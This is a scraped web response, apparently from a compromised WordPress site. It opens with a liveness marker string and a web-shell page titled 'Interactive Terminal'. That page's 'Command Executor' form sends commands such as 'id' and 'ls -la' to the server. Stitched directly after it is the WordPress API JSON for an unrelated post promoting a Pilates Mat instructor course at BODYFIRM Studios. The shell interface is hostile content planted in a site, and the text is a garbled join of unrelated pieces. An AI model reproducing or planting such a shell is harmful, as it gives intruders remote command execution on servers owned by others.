AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK<!DOCTYPE html>
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<title>Interactive Terminal</title>
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body { background: #0f0f0f; color: #00ff00; font-family: monospace; padding: 20px; }
input[type="text"] { background: #000; color: #00ff00; border: 1px solid #00ff00; width: 80%; padding: 5px; font-family: monospace; }
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pre { background: #1a1a1a; padding: 15px; border: 1px solid #333; overflow-x: auto; white-space: pre-wrap; }
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<h3>Command Executor</h3>
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<input type="text" name="cmd" autofocus placeholder="Enter command (e.g. id, ls -la)">
<input type="submit" value="Run">
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{"id":80,"date":"2026-09-09T18:49:00","date_gmt":"2026-09-09T17:49:00","guid":{"rendered":"https:\/\/wordpress-6ihqq.wasmer.app\/?p=80"},"modified":"2026-09-09T18:53:01","modified_gmt":"2026-09-09T17:53:01","slug":"one-or-two-spaces-left-then-the-door-closes","status":"publish","type":"post","link":"https:\/\/wordpress-6ihqq.wasmer.app\/?p=80","title":{"rendered":"One or two spaces left. Then the door closes."},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p>The PROGRESSIVE Pilates Mat course at BODYFIRM Studios runs 24th to 27th September 2026, and it&#8217;s nearly full.<\/p>\n\n\n\n<p>I keep coming back to the tutors when I think about why.<\/p>\n\n\n\n<p>Second-generation Pilates Master Trainers. 75 years of tutoring experience between them. That&#8217;s not a number you find on many course pages and honestly no other training school in Ireland can say that!<\/p>\n\n\n\n<p>What you&#8217;ll actually work through:<\/p>\n\n\n\n<p>1. Current biomechanics, taught properly, with the why behind every cue<br>2. Breath work that connects to function, not just choreography<br>3. Classical and contemporary Mat side by side<\/p>\n\n\n\n<p>The way Joseph would have taught it, is how they describe it. I&#8217;d say the way he&#8217;d have taught it if he had today&#8217;s understanding of movement. That&#8217;s the interesting bit for me.<\/p>\n\n\n\n<p>If you&#8217;ve been feeling like your training gave you the exercises but not the reasoning, this is the room where that gets fixed.<\/p>\n\n\n\n<p>Four days. September 2026. A seat or two still open.<\/p>\n\n\n\n<p>I&#8217;m here if you&#8217;d like the details, just send me a message and I&#8217;ll walk you through what the four days look like &#8211; or call BODYFRIM at 01 8684600.<\/p>\n\n\n\n<p>#Pilatestraining #Pilateseducation #Pilatesmatwork #Pilatesreformer<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The PROGRESSIVE Pilates Mat course at BODYFIRM Studios runs 24th to 27th September 2026, and it&#8217;s nearly full. I keep coming back to the tutors when I think about why. Second-generation Pilates Master Trainers. 75 years of tutoring experience between them. That&#8217;s not a number you find on many course pages and honestly no other &hellip; <a href=\"https:\/\/wordpress-6ihqq.wasmer.app\/?p=80\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;One or two spaces left. Then the door closes.&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7,8,9,1],"tags":[23,3,10,19],"class_list":["post-80","post","type-post","status-publish","format-standard","hentry","category-pilates-instructor","category-pilates-mat-instructor","category-pilates-reformer-instructor","category-uncategorized","tag-bodyfirmstudios","tag-pilateseducation","tag-pilatesmat","tag-pilatesreformer"],"_links":{"self":[{"href":"https:\/\/wordpress-6ihqq.wasmer.app\/index.php?rest_route=\/wp\/v2\/posts\/80","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress-6ihqq.wasmer.app\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wordpress-6ihqq.wasmer.app\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wordpress-6ihqq.wasmer.app\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/wordpress-6ihqq.wasmer.app\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=80"}],"version-history":[{"count":0,"href":"https:\/\/wordpress-6ihqq.wasmer.app\/index.php?rest_route=\/wp\/v2\/posts\/80\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress-6ihqq.wasmer.app\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=80"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wordpress-6ihqq.wasmer.app\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=80"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wordpress-6ihqq.wasmer.app\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=80"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}